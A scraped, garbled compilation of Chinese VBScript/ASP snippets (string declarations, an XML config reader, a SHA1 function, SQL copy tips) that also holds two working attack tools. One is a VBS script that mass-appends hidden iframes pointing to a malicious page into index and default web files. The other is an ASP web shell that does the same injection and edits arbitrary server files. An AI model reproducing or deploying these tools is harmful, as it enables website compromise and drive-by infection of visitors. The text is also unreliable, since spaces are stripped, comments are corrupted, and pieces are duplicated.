要声明a,b,c三个字串变量,正确的写法如下:
Dimaasstring*4Dimbasstring*4Dimcasstring*4
若想写在同一行,也可以,写法如下:
Dimaasstring*4,basstring*4,casstring*4->
Class clsGetProfile ' ル`トドキュメント Private rootDoc ' xmlファイル名とセクション名をセットする ' 引数: 「1」ファイル名 NOT NULL ' 氦胜 Public Sub setProfile(strFileName) Set data_xml=CreateObject("Microsoft.XMLDOM") data_xml.async=False data_xml.load(strFileName) Set rootDoc=data_xml.documentElement End Sub ' キ`のする蛉〉盲工 ' 引数: 「1」キ`名 NOT NULL ' 「2」セクション名 NOT NULL ' 亥`のする Public Function getItem(strSectionName, itemName) Set sectionNode=rootDoc.selectSingleNode(strSectionName) getItem=sectionNode.selectSingleNode(itemName).attributes(0).nodeValue End Function End Class ' 使用サンプル ' クラスインスタンスを生成する 'Dim config : Set config=New clsGetProfile ' 配置ファイル名とセクション名をセットする 'Call config.setProfile("Config.xml") ' き`のする颔播氓趣工 'WScript.Echo config.getItem("MessageDefine", "INFO.001") 'WScript.Echo config.getItem("MessageDefine", "INFO.003") 'WScript.Echo config.getItem("MessageDefine", "ERROR.009") 'WScript.Echo config.getItem("MessageDefine", "ERROR.012") Class clsGetProfile ' ル`トドキュメント Private rootDoc ' xmlファイル名とセクション名をセットする ' 引数: 「1」ファイル名 NOT NULL ' 氦胜 Public Sub setProfile(strFileName) Set data_xml=CreateObject("Microsoft.XMLDOM") data_xml.async=False data_xml.load(strFileName) Set rootDoc=data_xml.documentElement End Sub ' キ`のする蛉〉盲工 ' 引数: 「1」キ`名 NOT NULL ' 「2」セクション名 NOT NULL ' 亥`のする Public Function getItem(strSectionName, itemName) Set sectionNode=rootDoc.selectSingleNode(strSectionName) getItem=sectionNode.selectSingleNode(itemName).attributes(0).nodeValue End Function End Class ' 使用サンプル ' クラスインスタンスを生成する 'Dim config : Set config=New clsGetProfile ' 配置ファイル名とセクション名をセットする 'Call config.setProfile("Config.xml") ' き`のする颔播氓趣工 'WScript.Echo config.getItem("MessageDefine", "INFO.001") 'WScript.Echo config.getItem("MessageDefine", "INFO.003") 'WScript.Echo config.getItem("MessageDefine", "ERROR.009") 'WScript.Echo config.getItem("MessageDefine", "ERROR.012")

scan.vbe cscriptscan.vbeweb目录 程序代码: '版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马
脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vbCrLf '马的地址 ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&""&chr(…t;</IFrAME>" '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开 MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx" '以"|"为分隔符拆分成数组 MyArray=Split(MyString,"|",-1,1) web=WScript.Arguments(0) '如果web为空退出脚本 ifweb=""then Wscript.echo(br) window.Close endif Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf '创建对象 Setfso=createObject("Scripting.FileSystemObject") '开始扫描挂马 scan(web) 'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾 subscan(filesder) setfilesder=fso.getfolder(filesder) '得到当前目录的所有文件集合 setfiles=filesder.files '获取文件名 foreachfextinfiles Setfile1=fso.GetFile(fext) filesext=file1.Name '把文件名转换成小写字母 ext=lcase(filesext) ForEachindexinMyArray '判断文件是不是我们在MyString里限定的文件,如果是就写马 ifext=lcase(index)then Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作 ts.WriteLine(ma) ts.Close echo="" echo=fext&"………….ok" Wscript.echo(echo) endif next next setsubfolders=filesder.subfolders foreachsubfolderinsubfolders'搜索其他目录,递归调用 scan(subfolder) next endsub FSO挂马.asp 传进服务器以后直接输入需要挂马的路径就可以直接挂了 程序代码: <%Server.ScriptTimeout=10000 Response.Buffer=False %> <html> <head> <title></title> <****http-equiv="Content-Type"content="text/html;charset=gb2312"> </head> <body> <% ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") Ifex<>""ANDpth<>""Then selectCaseex Case"edit" CALLfile_show(pth) Case"save" CALLfile_save(pth) Endselect Else %> <formaction="<%=ASP_SELF%>"method="POST"> FOLDER(ABSOLUTEPATH): <inputtype="text"name="fd"size="40"> <inputtype="submit"value="SUBMIT"> </form> <%EndIf%> <% FunctionIsPattern(patt,str) SetregEx=NewRegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) SetregEx=Nothing IfretVal=TrueThen IsPattern=True Else IsPattern=False EndIf EndFunction IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then schs Else Ifs<>""ThenResponse.Write"InvalidAgrument!" EndIf Subsch(s) oNeRrOrrEsUmEnExT Setfs=Server.createObject("Scripting.FileSystemObject") Setfd=fs.GetFolder(s) Setfi=fd.Files Setsf=fd.SubFolders ForEachfinfi rtn=f.Path step_allrtn Next Ifsf.Count<>0Then ForEachlInsf schl Next EndIf EndSub Substep_all(agr) retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr) IfretValThen step1agr step2agr Else ExitSub EndIf EndSub %> <%Substep1(str1)%> <ahref=""target="_blank"><%=str1%></a><br> <%EndSub%> <% Substep2(str2) addcode="<iframesrc=(修改为你的马的地址,不要加""不然会出错)width=0height=0frameborder=0></iframe>" Setfs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) IfisExistThen Setf=fs.GetFile(str2) Setf_addcode=f.OpenAsTextStream(8,-2) f_addcode.Writeaddcode f_addcode.Close Setf=Nothing EndIf Setfs=Nothing EndSub %> <% Subfile_show(fname) Setfs1=Server.createObject("Scripting.FileSystemObject") isExist=fs1.FileExists(fname) IfisExistThen Setfcnt=fs1.OpenTextFile(fname) cnt=fcnt.ReadAll fcnt.Close Setfs1=Nothing%> FILE:<%=fname%> <formaction="<%=ASP_SELF%>"method="POST"> <textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea> <inputtype="hidden"name="pth"value="<%=fname%>"> <inputtype="hidden"name="ex"value="save"> <inputtype="submit"value="SAVE"> </form> <%Else%> <p>THEFILEISNOTEXITORHAVEdeleteD.</p> <% EndIf EndSub %> <% Subfile_save(fname) Setfs2=Server.createObject("Scripting.FileSystemObject") Setnewf=fs2.createTextFile(fname,True) newf.Writenewcnt newf.Close Setfs2=Nothing Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>" EndSub %> </body> </html> 我们可通讯取得MSCOMM1.INPUT中的内容可检测是否已建立好联系
Function sha1_file(filename, raw_output) Dim HashedData, Utility, Stream Set HashedData=CreateObject("CAPICOM.HashedData") Set Utility=CreateObject("CAPICOM.Utilities") Set Stream=CreateObject("ADODB.Stream") HashedData.Algorithm=0 Stream.Type=1 Stream.Open Stream.LoadFromFile filename Do Until Stream.EOS HashedData.Hash Stream.Read(1024) Loop If raw_output Then sha1_file=Utility.HexToBinary(HashedData.Value) Else sha1_file=HashedData.Value End If End Function B等于"",因为尚未初始化的非固定长度「字串」都等于""
->
insertintoarticle(id,class,title,content)selectid,'2',title,contentfromarticlewhereclass='1' 如果id为自动编号,就把改为: insertintoarticle(class,title,content)select'2',title,contentfromarticlewhereclass='1' 如果class为数字类型,则去掉单引号.战矛在线 end funtionADOX对象模型图:1、ADOX概述 MicrosoftActiveXDataObjectsExtensionsforDataDefinitionLanguageandSecurity(ADOX)是对ADO对象和编程模型的扩展。